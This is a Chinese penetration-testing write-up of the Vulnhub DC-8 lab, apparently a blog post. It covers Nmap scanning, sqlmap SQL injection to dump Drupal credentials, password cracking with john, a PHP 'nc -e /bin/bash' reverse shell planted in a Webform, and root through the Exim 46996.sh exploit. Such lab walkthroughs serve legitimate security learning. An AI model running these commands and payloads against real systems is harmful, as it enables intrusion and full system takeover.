Vulnhub靶机渗透学习记录:DC-8

环境搭建

  1. 攻击机:Kali-Linux2020.4(VmwareWorkstation)
  2. 靶机:DC-8(VirtualBox)
  3. DC-8靶机下载链接:https://www.vulnhub.com/entry/dc-8,367/
  4. Kali与DC-8配置桥接模式,并桥接到同一张网卡
  5. Kali的IP地址如下:
    在这里插入图片描述

信息收集

  1. 先使用Nmap探测Kali与DC-8所在网段存活主机,找到DC-8的IP地址:192.168.2.33
    在这里插入图片描述

  2. 进行全面扫描和全端口扫描,发现开放了22和80端口。80端口运行着一个Drupal 7。
    在这里插入图片描述

  3. 个人习惯,使用Nmap的vuln脚本扫描一下常见漏洞。有点用的也就是枚举出的目录了,没什么收获。
    在这里插入图片描述

  4. 查看网站的robots.txt,发现了很多路径。尝试访问,但并没有什么发现。
    在这里插入图片描述

SQL注入进后台

  1. 在主页Details中有三个文章,点击发现URL中出现了nid参数。
    在这里插入图片描述
    在数字后加带你引号进行简单的SQL注入尝试,结果出现了数据库报错页面,判断可能存在SQL注入漏洞。
    在这里插入图片描述

  2. 复制页面链接,使用Sqlmap进行检测。检测发现确实存在SQL注入漏洞。

    sqlmap -u "http://192.168.2.33/?nid=1"
    

    在这里插入图片描述
    爆数据库:

    sqlmap -u "http://192.168.2.33/?nid=1" --dbs --batch
    

    在这里插入图片描述
    爆数据库d7db的表名:

    sqlmap -u "http://192.168.2.33/?nid=1" --batch -D d7db --tables
    

    在这里插入图片描述
    爆users表中字段名:

    sqlmap -u "http://192.168.2.33/?nid=1" --batch -D d7db -T users --columns
    

    在这里插入图片描述
    爆users表中账号密码:

    sqlmap -u "http://192.168.2.33/?nid=1" --batch -D d7db -T users -C name,pass --dump
    

    在这里插入图片描述

  3. 将获得的密码使用john尝试解密。
    创建一个文件,将两个hash值写入文件。
    在这里插入图片描述
    成功解出一个密码,接下来尝试登录。

    john dc8-pass --show
    

    在这里插入图片描述

  4. 在登陆页面尝试登录,发现john用户可以成功登录。
    在这里插入图片描述
    在这里插入图片描述

getshell

  1. 在进入后台后,页面上方的Structure和Configuration模块都没有内容,只有Contact Us模块出现了可以编辑的内容。
    在这里插入图片描述

  2. 最后在Webform页面,发现可以对提交表单后的致谢内容进行修改。并且发现可以将内容以PHP code形式来保存。这和dc-7获取shell的方式如出一辙。
    在这里插入图片描述
    在这里插入图片描述

  3. 尝试写入PHP反弹shell的代码,并保存。

    <?php 
    system("nc -e /bin/bash 192.168.2.14 9999");
    ?>
    

    在这里插入图片描述

  4. 这个致谢内容是提交表单后才出现的,所以提交一个表单,尝试反弹shell。
    Kali监听9999端口:

    nc -lvnp 9999
    

    在这里插入图片描述
    填写一个Contact Us表单并提交。
    在这里插入图片描述
    发现Web页面在提交表单后,已知处于加载状态,说明反弹shell的代码被成功执行。查看Kali,发现成功接收到shell。
    在这里插入图片描述

  5. 使用python升级shell,方便使用。

    python -c 'import pty; pty.spawn("/bin/bash")'
    

    在这里插入图片描述

权限提升

常规思路尝试

  1. 获取到shell后,先翻翻敏感文件,看能否发现有价值的信息。
    查看/etc/passwd,发现存在一个用户dc8user,但查看该用户的家目录,发现时空的。
    在这里插入图片描述
    在这里插入图片描述

  2. 后续查看了很多配置文件等,但都没有发现有价值的信息。

  3. 使用sudo -l 查看有无有特殊权限的文件,发现需要输入密码,无法查看。
    在这里插入图片描述

  4. 查看是否有SUID提权,发现有一个exim4存在(Exim是一个邮件传输代理服务器软件)。

    find / -user root -perm -4000 -print 2>/dev/null
    

    在这里插入图片描述
    在这里插入图片描述

exim提权

  1. 使用searchsploit exim尝试搜索已知漏洞,发现存在本地提权漏洞。

    searchsploit exim
    

    在这里插入图片描述
    尝试查看exim的版本号,尝试缩小范围。成功获取到版本号。

    exim --version
    

    在这里插入图片描述
    版本号为4.89,所以尝试使用46996.sh来进行提权。
    在这里插入图片描述

  2. 查看46996.sh这个脚本文件,发现其有两个使用方法。

    cat /usr/share/exploitdb/exploits/linux/local/46996.sh
    

    在这里插入图片描述

  3. 在传输文件之前根据前面的经验,先修改一下这个脚本文件的编码,以方上传后运行出现问题。使用Vim修改文件。只需要Vim打开文件,然后键入以下内容后,回车,保存退出便可。

    :set ff=unix
    

    在这里插入图片描述

  4. 使用python启动一个http服务,供靶机下载这个脚本文件。
    Kali:复制该脚本到/tmp目录后,使用python开启一个服务供靶机下载脚本。

    python -m SimpleHTTPServer
    

    在这里插入图片描述
    靶机:切换到/tmp目录下,使用wget下载脚本文件。
    在这里插入图片描述

  5. 在脚本运行之前,需要给脚本执行的权限。
    在这里插入图片描述

  6. 先尝试第一种使用方法,发现没有提权成功。

    ./46996.sh -m setuid
    

    在这里插入图片描述

  7. 尝试第二种使用方法,成功获取到root权限。(未知原因shell会在维持短暂的时间后退出。)
    在这里插入图片描述

获得flag

在/root目录下,成功获取到flag。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值